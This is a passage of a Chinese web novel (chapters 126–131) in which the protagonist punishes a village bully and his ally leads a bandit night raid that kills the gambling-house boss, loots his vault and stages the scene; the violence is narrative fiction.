当她看到被吊起来毒打的王大虎时,她那张刻薄的脸上,血色瞬间褪得一干二净,变得惨白如纸。
尤其是当她的目光,无意间与远处江夜冰冷的视线遥遥对上时。
她只觉得心脏像是被一只无形的大手狠狠攥住,瞬间停止了跳动。
那双眼睛……
那双眼睛里没有任何情绪,平静得像一潭深不见底的寒潭。
看她,就像在看一块石头,一棵草,一只随时可以碾死的蚂蚁。
“啊!”
王翠花尖叫一声,像一屁股瘫坐在地上,浑身筛糠似的抖个不停,再也不敢往外多看一眼。
第126章 有眼不识泰山!
就在此时,一道披头散发的身影疯了似的从村道那头冲了过来,口中发出不似人声的尖利哭嚎,正是刘巧嘴。
她一进院子,目光就直直地锁定了半空中那个血肉模糊、像破布袋一样随着寒风微微晃动的人影。看清那是自己儿子的一瞬间,她只觉得天旋地转,差点当场吓晕过去。
她的儿子,此刻正像一头被宰杀的牲口,浑身血肉模糊地吊在半空中。
他身上的破棉袄早已被抽烂,变成一条条的挂在身上,露出底下被鲜血浸透的皮肉。两条腿以一种诡异的角度耷拉着,随着身体的晃动而无力地摆荡。
整个人,已经看不出半分人样,只有断断续续的呻吟,证明他还剩一口气。
那画面,比村里屠夫宰猪的场面,还要血腥百倍,恐怖百倍。
“虎……虎子……”
刘巧嘴死死掐住自己的大腿,剧痛让她勉强维持着一丝清醒。
她反应过来,连滚带爬地冲到江夜面前,“噗通”一声,重重地跪了下去。
她什么都顾不上了,什么脸面,什么尊严,在儿子的命面前,都成了狗屁。
“砰!砰!砰!”
她像捣蒜一样,将额头一下下地磕在雪地上,发出沉闷的响声。
“江夜……江大爷!我错了!是我们错了!是我们有眼不识泰山,是我们猪油蒙了心!”
她哭得涕泪横流,鼻涕和眼泪混着额头磕出的血,糊了满脸,看起来狼狈又丑陋。
“求您高抬贵手,饶了我家虎子这条狗命吧!他还年轻,他不懂事啊!您大人有大量,就把他当个屁,给放了吧!”
她一边磕头,一边嘶声哀求,声音凄厉得像是杜鹃啼血。
“只要您肯放了他,我……我给您做牛做马!我这条老命给您都行!求求您了!求求您了啊!”
然而,面对她如此凄惨的哀求,江夜却仿佛没有听见一般。
他甚至连眼皮都未曾抬一下,只是安然地坐在椅子上,端起桌上那杯早已凉透的茶,慢条斯理地,又抿了一口。
那副悠闲淡漠的姿态,仿佛眼前发生的一切都与他无关,仿佛跪在地上磕头磕得鲜血淋漓的刘巧嘴,和半空中那个奄奄一息的王大虎,都只是院子里两只无关紧要的蚂蚁。
他的无视,比任何恶毒的咒骂和冰冷的拒绝,都更让刘巧嘴感到绝望。
那是一种彻头彻尾的、发自骨髓的冰冷。
她看着江夜那张在冬日阳光下显得过分英俊的侧脸,那里没有愤怒,没有嘲讽,甚至没有一丝一毫的情绪波动。平静得,就像一口深不见底的古井。
就是这份平静,让她心中最后一点侥幸的火苗,被彻底掐灭。她终于明白,在这个男人眼里,她们母子,真的什么都不是。
无边的恐惧和悔恨,疯狂地啃噬着她的心脏。
她后悔,后悔自己为什么要去招惹这尊煞神!
院子里,江峰和王囤没有得到江夜的命令,手上的动作丝毫没有停歇。他们听着刘巧嘴的哭嚎,看着王大虎的惨状,心中的怒火反而烧得更旺。
这婆娘现在知道哭了?当初她们母子是怎么欺负林间雪的?怎么算计江夜兄弟的?
两人对视一眼,手下非但没停,反而打得更狠了!
“啪!”
“啪!”
木棍撕裂空气,带着风声,一下下地落在王大虎身上。
终于,随着江峰最后一棍狠狠抽在后心,王大虎的身体猛地一颤,那微弱的呻吟声戛然而止。
他彻底没了声音,脑袋无力地垂下,像一滩被挂起来的烂肉,在寒风中轻轻摇晃,只有出的气,没有进的气了。
直到这时,江夜才仿佛终于注意到了这边,他微微抬了抬手。
这个动作很轻,很随意。
但江峰和王囤却立刻停下了手,两人将手里的木棍随手一扔,站在一旁,胸膛剧烈地起伏着,额头上满是汗水,脸上却带着一种酣畅淋漓的解气。
江夜这才将那冰冷如霜的目光,缓缓投向瘫软在地,已经哭不出声的刘巧嘴身上。
“带上你的废物,滚。”
短短一句话,不带任何情绪,却像是一道赦令,让早已陷入绝望的刘巧嘴浑身猛地一颤。
她如蒙大赦,也顾不上擦脸上的血污,连滚带爬地跑到
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老槐树下,哆哆嗦嗦地去解那根浸满了血的麻绳,她解了半天,那死结却纹丝不动,最后只能用牙去咬,满嘴的血腥和铁锈味让她几欲作呕。
终于,“啪嗒”一声,绳结松开。
王大虎那肥硕的身躯像一袋没了支撑的米,重重地从半空中摔下,“噗通”一声砸在雪地里,溅起一蓬血花。
刘巧嘴扑过去,想将昏死过去的儿子拖起来。
可她用尽了全身的力气,那沉甸甸的身子却只是在原地挪动了半分。
她彻底绝望了,只能再次跪倒在地,朝着那些她曾经任意辱骂、作威作福的乡邻,哭着磕头。
“张家嫂子……李家大哥……求求你们,发发善心,搭把手吧!”
“我给你们钱!我把我家的地都给你们!求求你们帮我把他抬回去……他要**……他真的要**啊!”
她的哭喊声在寂静的村子里回荡,凄厉又可悲。
然而,没有一个人动。
一扇扇门缝后面,一堵堵墙头后面,是无数双复杂的眼睛。有怜悯,有鄙夷,更多的,是深入骨髓的恐惧。
所有人的目光,都不由自主地越过跪地哀求的刘巧嘴,投向院子中央那个负手而立的身影。
江夜就那么静静地站着,表情淡漠,眼神幽深。
他没有说话,甚至没有多余的动作。
但他的沉默,就是最不容置疑的命令。
没人敢动。
没人敢在这个时候,去触碰这尊煞神的霉头。
看着一扇扇紧闭的院门,刘巧嘴的心,彻底沉入了谷底。她明白了,从今天起,她们家,算是彻底被全村人孤立了。
最终,在无尽的绝望中,刘巧嘴只能咬着牙,像拖一条死狗一样,揪着王大虎的衣领,一步,一步,艰难地将他往院子外面拖。
雪地上,留下了一道触目惊心的血痕。
村子里,死一般的寂静。
所有村民都躲在自家的门后窗后,透过缝隙,默默地看着那道血痕,再看看江家院中那个自始至终神情淡漠的身影。
他们心中的敬畏和恐惧,在这一刻,达到了无以复加的极点。
第127章 斩草要除根
刘巧嘴和王大虎的身影消失在村道尽头,院子里终于彻底恢复了宁静。
江夜转身,目光落在堂屋门口。
那里,白梦夏、白梦秋和林间雪三女挤作一团,个个俏脸煞白,显然被刚才那杀猪般的惨叫和血腥场面吓得不轻。
看到她们受惊的模样,江夜脸上那层拒人于千里之外的冰冷,如同春日里的冰雪,瞬间消融,化为一片柔和的暖意。
他迈步走了过去,温声安抚:“好了,没事了。”
白梦夏和白梦秋听到他的声音,紧绷的身体才微微一松,但眼睛还是不敢往院子中央看。
林间雪的反应却最为剧烈,她看着雪地上那道蜿蜒的血痕,身体控制不住地颤抖起来,嘴唇哆嗦着,眼眶瞬间通红。
“都……都怪我……”她声音带着哭腔,泪水像断了线的珠子,滚滚而下,“要不是我……王大虎他……就不会……”
她觉得,这一切的祸事,根源都在自己身上。如果不是她,王大虎就不会盯上江家,江夜也不必沾染上这等血腥。
江夜看着她满是自责与泪水的脸,伸出手,温热的指腹轻轻擦去她眼角的泪水。
“傻丫头。”
江夜将她轻轻揽入怀中,让她冰冷颤抖的身子靠在自己温暖结实的胸膛上,轻拍着她的后背。
“这跟你有什么关系?”他顿了顿,语气里带上一丝不容置疑的霸道,“是狼要**,不是羊的错。他们是恶人,恶人自有恶报。”
林间雪埋在他怀里,感受着他强有力的心跳和身上令人安心的气息,那颗被恐惧和自责填满的心,终于一点点地安定下来。
她不再说话,只是伸出双臂,紧紧地环住他的腰,仿佛要将自己整个人都揉进他的身体里,汲取那份能让她不再害怕的力量。
白梦夏和白梦秋也走了过来,像是找到了主心骨的小兽,一左一右地靠在了江夜的胳膊上。她们什么也没说,只是将脸颊贴在他的臂膀上,感受着他的体温,心中的惊惶便奇迹般地平复了。
整个稻花村都畏惧他如杀神,可对她们而言,他只是她们的男人,是能为她们撑起一片天的港湾。
一片温情脉脉中,却有一道目光显得格格不入。
慕容晴没有像其她三女那样害怕,她单手抱着剑,斜斜地倚在门框上,饶有兴致地看着院子里的一切。
她那双明艳张扬的美眸里,没有半分恐惧,反而闪烁着一种近乎痴迷的异彩。
她欣赏强者,而今天江夜所展现出的,不仅仅是武力上的强大,更是一种掌控一切的从容,一种杀伐果断的狠厉。
这种男人,才配得上她慕容晴!
慕容晴舔了舔有些干涩的红唇,看着江夜的眼神,愈发滚烫。
……
午饭时,桌上的饭菜依旧丰盛,火锅里剩下的骨汤又炖了些肉干和蘑菇,香气扑鼻,可饭桌上的气氛却依旧有些压抑。
白梦夏姐妹,显然还没从早上的血腥场面中完全缓过神来,拿着筷子,也只是有一搭没一搭地夹着碗里的饭,食不下咽。
林间雪更是心事重重,低着头,视线始终不敢往院子中央那棵老槐树的方向瞟,仿佛那里的雪地上还残留着洗不去的血色。
终于,白梦夏放下了手中的筷子,她抬起头,看向正从容吃饭的江夜,一双温柔的眸子里写满了挥之不去的忧虑,声音很轻,带着一丝不易察觉的颤抖。
“夫君,那个万贯堂……他们还会再来报复吗?”
一句话,像是一块冰,瞬间掉进了滚热的火锅里。
“滋啦”一声,屋内的气氛瞬
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间降至冰点。
正扒饭的白梦秋动作一僵,身体不受控制地微微颤抖了一下。林间雪更是吓得手一抖,筷子“啪嗒”一声掉在了桌上,脸色愈发白了。
万贯堂,光是听名字就知道不是什么善茬,今天来的那些打手虽然被收拾了,可谁知道他们背后还有没有更厉害的人物?
就在这片令人窒息的安静中,一声重响打破了沉寂。
“砰!”
慕容晴将手中的酒杯重重地顿在桌上,清亮的酒液都溅了出来。
她那张扬美艳的脸上,此刻没有半分惧色,反而满是煞气与不屑。
“哼!”
她发出一声冷哼,明亮的眸子里燃着两簇火焰,扫了一眼满脸担忧的三女,语气里满是豪气干云的不耐。
“等他们来报复?与其提心吊胆地等着被毒蛇咬上一口,不如趁天黑,咱们先下手为强,直接把那蛇窝给它一锅端了!”
这番话,说得杀气腾腾,掷地有声。
白梦夏姐妹和林间雪听得心头一跳,愈发紧张了。主动去找麻烦?那可是县城里的地头蛇啊!
然而,江夜闻言,却是抬起头,眼中闪过一丝毫不掩饰的赞许。
他放下碗筷,目光落在慕容晴那张战意盎然的脸上。
“我也是这么想的。”
“有些人,你打他一顿,他只会记恨你,不会怕你。只有把他彻底打残,打废,让他一想到你的名字就浑身发抖,他才不敢再起半点坏心思。”
江夜的视线缓缓扫过屋内三个满脸惊惶的小女人,最后又回到慕容晴身上,嘴角勾起一抹冰冷的弧度。
“斩草,就要除根。”
他站起身,语气平淡得像是在说今晚吃什么。
“今晚,我就和你走一趟县城,把这桩闲事,给了结了。”
第128章 借你一样宝贝
江夜那句“斩草,就要除根”,让白梦夏姐妹和林间雪本就煞白的俏脸,此刻更是没了半分血色。
她们紧紧靠在一起,看着江夜脸上那冰冷的杀意,心中又是安稳,又是惶恐。
慕容晴却是美眸一亮,刚要点头,目光却扫过一旁那三张我见犹怜的苍白小脸。她话到嘴边,又咽了回去。
她摇了摇头,那张扬的脸上难得地出现了一丝郑重:“你留下。”
江夜眉梢一挑。
“她们几个被吓得不轻,你得留在家里镇着。再说了,区区一个赌坊,还用不着你我联手。”慕容晴扬了扬光洁的下巴,语气里是与生俱来的骄傲,“我带凤啸寨的兄弟去,足够了。今晚就去端了它老窝,给你出气。”
江夜看着她坚定的眼神,沉吟片刻,心中有了计较。
慕容晴说得对,他走了,家里这几个胆小的丫头怕是连觉都睡不安稳。
他笑着摇了摇头:“我不去,但也不能让你一个人去。”
慕容晴黛眉微蹙,以为他要派江峰或者王囤跟着,那两人虽然忠心,但对上县城里的亡命徒,还是差了点意思。
“我派个最得力的帮手给你。”江夜的笑容里带上了一丝神秘。
他对着桌下招了招手。
角落里,正趴着打盹、消化着肚里肉食的团子,耳朵猛地一动,下一秒,一道银色的影子瞬间从桌下窜出,稳稳地落在了江夜的怀里,用毛茸茸的脑袋亲昵地蹭着他的下巴。
“嗷呜?”团子歪着头,一双灵动的金色眼眸好奇地看着众人。
“让它跟你去?”
慕容晴愣住了,白梦夏姐妹和林间雪也是满脸不解。
江夜摸着团子柔顺光滑的皮**,看向慕容晴,眼底是全然的自信:“别小看它。它能探路,方圆一里内的风吹草动都瞒不过它的鼻子;它能示警,任何埋伏和陷阱都无所遁形。最关键的是……”
江夜顿了顿,嘴角勾起一抹玩味的笑意。
“它还能当奇兵。你想想,一群赌徒打手,突然被一只神出鬼没的狼盯上,会是什么场景?”
慕容晴的眼睛瞬间亮了起来。
她看着江夜怀里通体银白、灵性十足的团子,又看看江夜那副智珠在握的从容模样,心中某个地方像是被什么东西轻轻撞了一下。
团子仿佛听懂了他们的对话,从江夜怀里跳下,迈着优雅的步子走到慕容晴脚边,仰起头,用那双金色的眸子看着她,轻轻“嗷呜”了一声,像是在示意有它在安心。
慕容晴心中那股豪气再次被点燃,她蹲下身,伸手摸了摸团子的小脑袋。
“好!”她重重点头,站起身,美眸灼灼地看着江夜,“就这么定了!我这就回山寨点人!”
说完,她便风风火火地转身,抓起靠在门边的佩剑,大步流星地向院外走去,没有丝毫拖泥带水。
江夜看着她英姿飒爽的背影,嘴角的笑意更深了。
他低头,对脚边的团子轻声吩咐了几句。
“今晚,听慕容姐姐的指挥,保护好她和她的人,别让他们吃亏。”
团子喉咙里发出一声低沉的呜咽,像是在回应,紧接着就追着慕容晴跑了出去。
……
县城,万贯堂。
后院大厅内,气氛压抑得仿佛凝结成了冰。
十几名断手断脚的打手横七竖八地躺在地上,此起彼伏的痛苦呻吟和浓郁的血腥味、药味混杂在一起,让人闻之欲呕。
刀疤强阴沉着脸,坐在太师椅上,一只手缓缓摩挲着拇指上的墨玉扳指,一言不发。
麻三跪在最前面,那条被石子洞穿的左腿用木板草草固定着,脸上没有一丝血色,身体像秋风中的落叶一样,抖个不停。
他不敢抬头,只能死死盯着地面,感受着那道如有实质的冰冷目光,在自己头顶盘旋。
大厅里死一般的寂静,只有伤者的哀嚎和麻三牙齿打颤的“咯咯”声。
突然!
“砰!”
刀疤强猛地一脚踹翻了身前的红木茶几。
滚烫的茶水混合着碎裂的瓷片,劈头盖脸地溅了麻三一身,他却像是被钉在了原地,连躲都不敢躲一下,任由那高温的茶水将脖子烫起一片燎泡。
“呵。”
刀疤强怒极反笑,他缓缓站起身,走到麻三面前,用脚尖抬起他那张惨白的脸。
“麻三,你跟我几年了?”
“五……五年了,强哥。”麻三的声音抖得不成样子。
“五年。”刀疤强点点头,嘴角的笑意愈发森冷,“你现在告诉我,我万贯堂几十个带刀的好手,跑到乡下,被一个泥腿子猎户,打成了这副狗德行?”
他的声音不高,却像是一把淬了冰的刀子,一刀刀剐在麻三的心上。
麻三吓得魂飞魄散,他知道,如果今天不能给出一个让刀疤强满意的解释,自己这条腿,怕是真的要被剁下来喂狗了。
他猛地磕了一个响头,额头撞在冰冷的青石板上,发出“咚”的一声闷响。
“强哥!不是我们废物啊!
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是那个江夜……他……他根本就不是人!”
麻三的声音因为极致的恐惧而变得尖利刺耳。
“他就是个妖怪!是披着人皮的恶鬼!”
他手脚并用,连滚带爬地挪到刀疤强脚边,抱着他的腿,语无伦次地描述着当时的情景。
“我们十几把刀一起砍过去,连他的衣角都碰不到!强哥,您知道吗?就像是砍在影子上!一眨眼,他就没了!”
“然后……然后就听到骨头断掉的声音!弟兄们一个接一个地飞出去,我们……我们从头到尾,都没看清他是怎么出手的!”
“还有那颗石子!”麻三指着自己那条废腿,脸上满是劫后余生的骇然,“隔着十几步远,随手一弹,就跟**射出来的一样!这……这是人能做到的吗?强哥,他就是个妖怪啊!”
听着麻三这番近乎疯癫的描述,刀疤强脸上的冷笑慢慢凝固了。
他一把揪住麻三的衣领,将他从地上提了起来,眼神凶狠如狼。
“废物!”
“啪!”
一个响亮的耳光,直接将麻三抽得原地转了半圈,半边脸瞬间高高肿起,嘴角溢出血丝。
“被一个乡下猎户吓破了胆,还敢在这里跟老子胡言乱语!我看你们是安生日子过久了,连刀都快握不住了!”
然而,骂归骂,麻三那恐惧到扭曲的表情,却不似作伪。
刀疤强松开手,任由麻三瘫软在地。
他背着手,在大厅里来回踱步,脸上的神情阴晴不定。
一个能酿出异虎神酒的人,一个能赤手空拳逼退狼群的人,一个能让几十个亡命徒连衣角都碰不到的人……
难道,真是什么隐世的高手?
但随即,更强烈的贪婪,便如野火般烧掉了他心中那一丝丝的疑虑和忌惮。
异虎神酒!
那可是真正的神物!
若是能弄到酒,再弄到酿酒的方子,那意味着什么?意味着源源不断的财富,到那时,区区一个万贯堂,又算得了什么?
想到这里,刀疤强眼中的最后一丝犹豫,被彻底的疯狂与狠厉所取代。
他猛地停下脚步,转过身,阴冷的目光扫过所有手下。
“都给老子听好了!”
“明天一早,所有人,带上家伙!把库房里那几架专门用来收账的劲**,也**给老子带上!”
刀疤强舔了舔嘴唇,脸上露出一抹嗜血的狞笑。
“明天,老子亲自带队!”
“踏平稻花村,拿下异虎神酒!”
第129章 入贼窝
子时,县城。
县城里早已宵禁,万贯堂高大的外墙下,阴影里,十几道黑影如同鬼魅,悄无声息地贴墙而立。
慕容晴一身利落的紧身黑衣,将她那火爆惹眼的身段勾勒得淋漓尽致。她脸上蒙着黑巾,只露出一双在夜色中闪烁着冰冷杀意的明亮美眸。
在她身后,十几名凤啸寨的精锐同样黑衣蒙面,个个手持利刃,气息沉稳地收敛着,仿佛与周遭的黑暗融为了一体,没有发出一丝一毫的声响。
就在这时,一道几乎无法用肉眼捕捉的银色影子,如鬼魅般从墙角无声无息地掠出,悄然停在了慕容晴的脚边,正是团子。
团子仰起头,小巧的鼻子在清冷的空气中轻轻翕动了几下,那双在黑暗中闪烁着淡淡金光的灵动眼眸,人性化地扫了一眼高墙之上某个特定的位置,随即又转向后院的方向,喉咙里发出一声极低、几不可闻的呜咽。
它虽然不能像和江夜那样心意相通,但那清晰的指向和动作,已经将信息传递得明明白白——墙上那个位置的暗哨睡着了,后院此刻守卫空虚。
慕容晴的美眸中闪过一丝毫不掩饰的赞许。
出发前,她还对江夜派这只小家伙跟着自己抱有一丝疑虑,可这一路行来,团子展现出的惊人灵性和侦查能力,彻底让她折服。这哪里是什么宠物,分明就是天生的斥候,顶得上她手下最精锐的探子!
那个男人,身边到底还藏着多少宝贝?
慕容晴压下心头的异样思绪,不再迟疑,对着身后众人干脆利落地打了一个手势。
十几道黑影瞬间动了。
他们动作整齐划一,如履平地般轻松攀上高墙,干净利落的解决了墙上的暗哨,落地时更是悄无声息,宛如一片片飘落的羽毛。整个过程行云流水,没有惊动任何人。
成功翻入后院,一股混杂着酒气、汗臭和劣质脂粉的味道扑面而来。
团子再次化作银色闪电,在复杂的庭院中穿梭探路,很快便锁定了东侧一排亮着几盏昏暗油灯的通铺大院。它停在院门口的阴影里,回头对着慕容晴,用爪子轻轻刨了刨地,示意目标就在里面,而且大部分人都已经陷入了沉睡。
慕容晴心中冷笑,这万贯堂平日里在县城作威作福,没想到内里的防备竟如此松懈,简直就是个不设防的贼窝。
她从怀中取出数根寸许长的细小竹管,分发给手下。
这是特制的迷香,无色无味,见效极快。
凤啸寨众人接过竹管,悄无声息地摸到那一排通铺的窗户下,将竹管一端对准窗纸上的破洞,鼓起腮帮,轻轻一吹。
几缕微不可见的烟气,随即便飘入了屋内。
很快,屋里原本此起彼伏的鼾声和梦话声,突兀地中断了。紧接着,便传来几声身体摔在床板上的沉闷声响。
前后不过十几个呼吸的功夫,整个通铺大院便彻底陷入了死一般的寂静。
一切准备就绪,慕容晴眼中杀机大盛,正准备带人冲进去,将这些杂碎一网打尽。
然而就在此时,斜对面的另一间偏房里,麻三正龇牙咧嘴地给自己那条废腿换药。
江夜那一颗石子,洞穿了他的膝盖,剧烈的疼痛让他根本无法入睡。白天在刀疤强面前不敢表现出来,此刻夜深人静,他疼得满头大汗,脸上的肌肉都扭曲在了一起。
他一边咒骂着江夜,一边小心翼翼地解开染血的绷带,可就在这时,他隐约听到外面似乎有些异响。
不是风声,更像是衣袂摩擦的声音。
常年在刀口上舔血的警觉,让他心中的警铃瞬间大作。
他猛地停下手中的动作,一把抄
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起放在枕边的钢刀,顾不上腿上的剧痛,一瘸一拐地推门而出。
“谁**在外面……”
他刚探出半个身子,叫骂声便戛然而止,瞳孔在瞬间收缩成了针尖大小。
一道窈窕的黑影,不知何时已经无声无息地出现在了他的门前,快得如同附骨之疽,瞬间欺到了他的身前。
一道凌厉的剑光,在昏暗的灯笼光线下,如同一道乍泄的月华,直刺他的咽喉!
麻三被这突如其来的杀机骇得魂飞魄散,求生的本能让他爆发出全身的力气,疯狂地向后退去,同时仓促地举起手中的钢刀,横在身前格挡。
“当!”
一声清脆的金铁交鸣声,在寂静的后院中骤然响起,显得格外刺耳。
火星四溅。
麻三只觉虎口剧震,整条手臂都被震得发麻,心中更是掀起了惊涛骇浪。
对方的力量,竟是远胜于他!
然而,不等他从震惊中回过神来,慕容晴眼中杀机一闪而逝,手腕只是轻轻一翻。
那柄薄如秋水的长剑,便如同有了生命的毒蛇,以一个刁钻诡异的角度,灵巧地绕开了他沉重的钢刀,剑锋向上,轻轻一抹。
“嗤——”
一道轻微的血肉撕裂声响起。
麻三所有的动作瞬间凝固,他双目圆瞪,难以置信地看着眼前这个只露出一双冰冷眼眸的黑衣人。
他想开口说些什么,但一张嘴,只有“嗬嗬”的漏风声。
一股滚烫的鲜血,从他的脖颈处狂喷而出。
他下意识地伸出手,想要捂住那道致命的伤口,但生命力正如同决堤的洪水般飞速流逝。
眼前的世界开始天旋地转,最后的光亮,定格在那双没有丝毫感情波动的冰冷眸子上。
“噗通!”
麻三的身体重重向后倒去。
第130章 踏平万贯堂
麻三的尸体带着温热,重重砸在冰冷的青石板上,发出的闷响在死寂的后院里传出老远。
主卧内,正拥着怀中美妾酣睡的刀疤强,被这突兀的响动惊得一个激灵,猛地从床上坐起。
他侧耳倾听,眉头瞬间拧成了一个疙瘩。
不对劲。
**静了。
院子里平日里那帮手下震天的呼噜声、梦话声、磨牙声,此刻竟消失得一干二净,整个后院,死寂得仿佛一座坟场。
一股刺骨的寒意,猛地从脚底板直冲天灵盖!
混迹江湖多年的警觉让他没有丝毫犹豫。他抬起一脚,就将身边睡得迷迷糊糊、正要娇嗔着缠上来的女人狠狠踹下床榻。
“滚开!”
他低吼一声,翻身下床,连鞋都来不及穿,赤着脚就冲向墙角一个不起眼的**架,那里藏着他的密室。
然而,他的手还没碰到机关,身后那扇厚重的房门,便“轰”的一声被人从外面暴力撞开!
木屑纷飞中,几道黑影如同鬼魅般闪入,还没等刀疤强反应过来,数把泛着森然寒光的钢刀,已经冰冷地架在了他的脖子上。
刀疤强的身体瞬间僵住,刚刚涌起的最后一丝逃生希望,被脖颈上刀锋的冰冷触感彻底碾碎。他脸上的血色以肉眼可见的速度褪去,豆大的冷汗瞬间从额角滚落,浸湿了后背的丝绸睡衣。
月光从洞开的门口倾泻而入,一道窈窕却充满压迫感的身影,缓步从黑暗中走出。
来人一身黑色劲装,脸上蒙着面巾,但那双暴露在空气中的美眸,却亮得惊人,也冷得惊人。
她手中那柄薄如秋水的长剑,剑尖正向下滴着血,血珠在月光下闪烁着妖异的光,一滴,一滴,落在名贵的地毯上,洇开一朵朵刺目的红花。
刀疤强的目光死死地黏在那滴血的长剑上,瞳孔骤然一缩。
他再也撑不住那副江湖大佬的派头,“噗通”一声,双膝发软,直挺挺地跪在了地上。
“女侠饶命!好汉饶命啊!”
刀疤强像捣蒜一样疯狂磕头,光洁的额头撞在坚硬的木地板上,发出“咚咚”的闷响,很快就磕出了一片血印。
“小的有眼不识泰山,冲撞了神仙!求女侠饶我一条狗命!我这万贯堂里所有的家产,金银珠宝,地契房契,全都献给女侠!只求女侠高抬贵手,放我一条生路!”
慕容晴眼神冰冷,看着脚下这个丑态百出的男人,心中没有丝毫波澜。她想起江夜,想起他面对这群人时的从容淡定,也想起他那句“斩草,就要除根”。
她不为所动,手中滴血的长剑缓缓抬起,剑尖直指刀疤强的眉心,凛冽的杀机毕露无疑。
冰冷的剑锋就在眼前,那股刺骨的杀意让刀疤强浑身的汗**都倒竖起来。他知道,对方是真的要杀他!
求生的本能让他大脑飞速运转,他看着慕容晴那双毫无感情的眼眸,猛然间想到了什么,吓得魂飞魄散的他,用嘶哑的嗓音尖声大喊:
“别杀我!女侠!我……我密室里还有一件奇珍!是真正的宝贝!叫……叫凝脂草!对!凝脂草!我愿意献给女侠,献给女侠养颜!”
慕容晴扬起的长剑,微微一顿。
刀疤强以为自己抓住了最后一线生机,眼中爆发出狂喜的光芒,语速极快地描述起来,生怕慢了一秒,那柄索命的剑就会落下。
“女侠!那凝脂草是真正的天材地宝,百年难得一见!只要取其汁液服下,便可,延缓岁老,青春永驻!小的……小的是想等以后献给郡守大人的!今日愿献给女侠,只求女侠饶命啊!”
他一边说,一边用眼角的余光死死盯着慕容晴的反应。
任何女人,都无法拒绝容颜不老的诱惑。
他看到慕容晴的嘴角似乎微微勾了一下,心中狂喜,以为自己赌对了。
然而,下一秒,他听到了这辈子最让他绝望的一句话。
慕容晴的嘴角确实勾起了一抹弧度,却是一抹冰冷到极点的讥诮。
“东西,我会自己取。”她声音清冷,不带一丝烟火气,“就不劳你费心了。”
刀疤强脸上的希望瞬间凝固。
他张了张嘴,还想说些什么。
但慕容晴已经没有耐心再听他废话。
寒光一闪。
慕容晴手腕翻转,长剑划过一道利落干脆的弧线,快得仿佛一道错觉。
刀疤强捂着自己的脖子,喉咙里发出“嗬嗬”的声响,一股股滚烫的鲜血从他指缝间狂涌而出。
他轰然向后倒地,身体在血泊中抽搐了几下,便彻底没了声息。
慕容晴看都未看地上的尸体一眼,冷冷下令。
“搜!”
身后十几名凤啸寨的精锐立刻行动起来,动作迅捷而专业。
很快,一名手下便在刀疤强刚刚试图触碰的**架后,找到了机关的所在。随着一阵沉闷的机括转动声,墙壁缓缓向一侧移开,露出一个黑漆漆的洞口。
一名手下率先冲入,点燃火折子,下一秒,他发出一声压抑不住的惊呼。
其他人紧随其后,当密室内的景象呈现在众人眼前时,即使是这些见惯了风浪的悍匪,也齐齐倒吸一口凉气。
密室不大,但里面堆满了晃眼的财物。
“哗啦啦——”
一人不小心踢到了一个木箱,箱子应声倒地,里面码放得整整齐齐的银锭瞬间滚落出来,铺了满地,在火光下闪烁着令人目眩的光芒。
成箱的银锭,散落的金条,还有各种一看就价值不菲的古玩玉器,随处堆放,简直像一座小型的金山。
这刀疤强,在县城搜刮的民脂民膏,竟有如此之多!
慕容晴迈步走进密室,目光在满室的珠光宝气中淡然扫过,没有丝毫停留。
“寨主,您看这
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个。”
一名眼尖的手下在角落的一个架子上,发现了一个与周围俗物格格不入的精致白玉盒子。他小心翼翼地取下,双手捧着,恭敬地呈到慕容晴面前。
慕容晴接过玉盒,触手温润。
她指尖轻轻一挑,打开盒盖。
霎时间,一股无法用言语形容的奇异清香扑面而来,仅仅是闻上一口,就让人感觉浑身的毛孔都舒张开来,精神为之一振。
盒内铺着一层柔软的金色绸缎,绸缎之上,静静地躺着一株通体莹白、状如灵芝的小草。那小草仿佛是用最上等的羊脂白玉雕琢而成,通透无瑕,在火光下流转着淡淡的光晕。
凝脂草!
慕容晴美眸中闪过一丝喜色,这东西,比刀疤强描述的还要神异。
她合上玉盒,收入怀中放好,感受着那丝丝缕缕沁人心脾的凉意,她脑中不由自主地浮现出江夜那张带着一丝玩味笑意的脸。
压下心头的思绪,慕容晴恢复了凤啸寨寨主的冷冽。
“所有财物,全部打包带走,动作快!”
“是!”
凤啸寨众人效率极高,立刻拿出随身携带的布袋,开始疯狂装填。他们分工明确,有人负责金银,有人负责玉器,动作粗暴却迅捷。
在清空财物的同时,另一队人则开始处理现场。
他们将屋里的尸体拖到一起,又用他们的刀在彼此身上留下伤口,再将几箱金银打翻在地,伪造出一副因为分赃不均而引发血腥内讧的惨烈场面。
做完这一切,领头的人仔细检查了一遍,确认没有留下任何属于凤啸寨的痕迹后,才对慕容晴点了点头。
慕容晴满意地扫视一圈,干脆利落地一挥手。
“走!”
十几道黑影,连同那只银色的狼崽,如同来时一般,悄无声息地攀上高墙,如鬼魅般融入了夜色之中,只留下万贯堂内一片狼藉和满地的尸体。
县城外,密林中。
慕容晴与手下在此分别。
“寨主,这次我们发了!”一名副手看着那几车财物,激动得声音都在颤抖。
凤啸寨的兄弟们个个满面红光,看着慕容晴的眼神,充满了狂热的崇拜。
一夜之间,端掉万贯堂,斩杀刀疤强,还劫掠了这么多的财富!这等壮举,简直想都不敢想!
慕容晴看着士气高昂的众人,脸上也露出一丝笑意,她吩咐道:“将财物安全带回山寨,犒赏所有兄弟,但要低调行事,不可声张。”
“是!寨主放心!”
众人齐声应道。
慕容晴点点头,不再多言,示意他们离去。
很快,林间只剩下慕容晴和在她脚边安静蹲坐的团子。
她轻轻拍了拍团子的小脑袋,嘴角勾起一抹动人的弧度。
“走,我们回家。”
一人一狼,化作两道迅捷的影子,向着家的方向,疾驰而去。
第131章 给姐妹们的小礼物
夜深,风雪渐歇。
江夜家的卧房内,灯火通明,巨大的火炕将屋子烘烤得温暖如春,但气氛却不似往日那般慵懒。
白梦夏和林间雪坐立不安,一双素手紧紧绞着衣角,时不时就朝着黑漆漆的窗外望一眼,眼底是藏不住的忧虑。白梦秋稍好一些,但也在屋里来回踱步,小脸上满是焦急。
江夜独自坐在桌边,神情一如既往的平静。
他手里拿着一块软布,正慢条斯理地擦拭着一柄寒光闪闪的**。**在他手中灵活地翻转,锋刃映着烛火,流淌着冰冷的辉光。
他看似从容,但那偶尔投向门口,一瞥即收的眼神,还是泄露了他并非全无波澜的内心。
慕容晴此去,面对的是一整个赌坊的亡命徒。
虽然他相信她的实力,也派出了团子这个奇兵,但刀剑无眼,在结果出来之前,谁也无法真正心安。
突然!
一道微不可闻的破风声由远及近,几乎是瞬间就到了窗外。
紧接着,一抹银色的影子快得像一道闪电,悄无声息地从半开的窗户缝隙中“嗖”地一下窜了进来。
“呀!”
